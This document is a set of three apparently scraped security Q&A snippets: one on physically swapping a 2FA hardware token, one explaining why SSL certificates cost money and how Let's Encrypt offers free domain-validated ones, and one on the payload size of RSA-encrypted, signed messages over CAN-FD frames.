By design, keys that are stored by a 2FA token cannot be read out of the token. That doesn't mean that in the future, someone can't find a vulnerability in the design that makes this possible.

However, if someone has a physical access to your token before they reach you, there's a much easier attack vector rather than tampering with the token, which is to simply swap the hardware token itself with a fake one that is designed to send the keys out to the attacker.


Why can SSL certificates not be free of charge? I am a newbie in this field. I am confused with why SSL certificates cannot be free of charge. In my understanding the certificate is just a text file consisting of cryptic numbers installed on a server. What do the SSL certificates cost?

SSL certificates provide two things, encryption and authentication.  For encryption, any SSL certificate will do.  You can use a self-signed certificate which you can make free of charge and it will provide encrypted communication between your server and a client.

The problem is that since it lacks any authentication, an attacker could simply make their own certificate and claim to be the server you want to connect to.  Your browser wouldn't know the difference and would connect to the attacker with an encrypted connection and the attacker could then attach to the real server and monitor all your communication.

To avoid this problem, SSL certificates also need to provide authentication and that means that someone has to verify domain ownership and identity information.  The policies have to be administered and systems have to be run to handle dealing with lost keys.  Relationships also have to be built with browser makers to get the root keys for the certificate authorities in to the applications.  This all has costs and so those costs are passed on to those who buy SSL certificates from a Certificate Authority.

In exchange for that cost, the CA verifies the identity of the organization and domain that they are issuing the certificate to.  Now back in our original case, the attacker may be able to get between the client and the server, but they can't get the client to connect to their SSL certificate since it isn't trusted and if the client connects with the real SSL certificate, then the encryption kicks in blocking the attacker from being able to monitor what is happening.

More recently, the service Let's Encrypt has appeared and offers a limited selection of free certificates.  They are able to do this for three main reasons:

First, they have generous sponsors who support their operating costs.  Lack of encryption and trust on the internet has become a growing problem in recent years as attackers have grown increasingly capable.  This need, and the cost of dealing with the lack of trust on the internet, has led to Let's Encrypt being able to get funding.

Second, they offer an extremely limited portfolio of certificate options.  They lack the facilities for handling EV certificates or even identity validation.  They only offer domain validation and only offer extremely short validity periods due to the automated nature of their verification.

Third, they drastically limited their costs by cutting humans out of the equation.  Rather than have conventional validation, Let's Encrypt works purely from automated domain level validation via the ACME protocol.  This is good enough to establish a low level of trust that the domain server is being run by the same person that controls the domain name, but not good for anything else.

While it is a free option, unless you are certain of the identity of the website operator, it isn't nearly as good or as trust worthy as certificates available from paid CAs who do further identity verification prior to issuing certificates (though it's of equal value to domain validated certificates offered by other CAs, some of which also offer similar automated free or low cost options, though with even greater limitations on the certs offered.)


Transmit over CAN-FD a RSA-ecrypted and signed message, how to deal with message length? As said in the title, I've to encrypt a message with RSA, generate a signature, and transmit everything over CAN-FD (suppose keys are already been exchanged). The problem is that a CAN-FD frame supports a total of 64 bytes of payload, but how many bytes will I have after encryption (using a 2048 bit key) and signing? Does it depends on the want-to-transmit message length?

Finally found it, don't why it took so long: 2048 bit after encryption, because doesn't depend on the length of the message to encrypt, and 256 bytes of signature. So 512 total bytes to transmit in 8 different 64-bytes CAN-FD frames.